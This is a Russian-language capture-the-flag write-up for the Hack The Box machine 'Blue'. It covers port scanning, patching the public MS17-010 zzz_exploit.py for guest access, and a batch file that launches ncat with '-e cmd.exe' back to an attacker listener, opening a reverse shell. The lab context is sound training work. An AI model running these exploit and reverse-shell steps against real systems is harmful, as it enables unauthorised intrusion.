###### tags: `HTB` # HTB: Blue Решить машину Blue на Hack the box используя модификацию эксплойта https://github.com/worawit/MS17-010. Условия: нужно получить реверс-шелл нельзя загружать файлы, нужно сделать это одной командой при запуске сервиса нельзя пользоваться хэндлерами msf и payload-ами msfvenom Проведем разведку что мы имеем на машине? `sudo masscan --open -p0-65535 10.10.10.40 --rate=5000 -oG scan_result -e tun0` Либо так: `sudo nmap -sV -p - -sT 10.10.10.40` ![](https://i.imgur.com/n1QOTUh.png) качаем под питон2.7 скрипт, чтобы работал пип https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjd15ax04T5AhVHEncKHeouCiIQFnoECAoQAQ&url=https%3A%2F%2Fbootstrap.pypa.io%2Fpip%2F2.7%2Fget-pip.py&usg=AOvVaw3NurauyKOUpxhaQCFW_43A sudo python2.7 -m pip install distribute sudo python2.7 -m pip install impacket https://github.com/worawit/MS17-010 Качаем отсюда сборки уязвимостей, в файле checker.ip меняем `USERNAME="\\"` чтобы проверить есть ли доступ гостю (для удобства добавил /etc/hosts адрес машины как blue.htb) ![](https://i.imgur.com/Ox1iurW.png) Аналогичным образом модифицируем эксплойт zzz_exploit.py `(USERNAME="\\"`) и прописываем нужные нам файлы для получения доступа Нам необходимо получить реверс-шелл при условиях что нельзя пользоваться ни msfvenom, ни msf. Чтож, тогда используем портативную версию ncat https://github.com/cyberisltd/NcatPortable Задача - нам надо с помощью эксплойта запустить неткат, передать ему параметры для получения реверс-шелла. Как это сделать? Мы параметры запуска портативного нетката пропишем в батфайлик, загрузим с помощью эксплойта и его, и запустим на удаленной машине. Модифицируем эксплойт ![](https://i.imgur.com/4mcLCJw.png) Наш бат файлик выглядит так: ``` @echo off "C:\ncat.exe" -nv 10.10.14.4 3333 -e cmd.exe ``` На Кали: `nc -nlvp 3333` python2.7 zzz_exploit.py blue.htb Получили сессию, дальше шаримся по подкаталогам, и на рабочем столе у пользователя haris берем флаг ![](https://i.imgur.com/yV48UKw.png)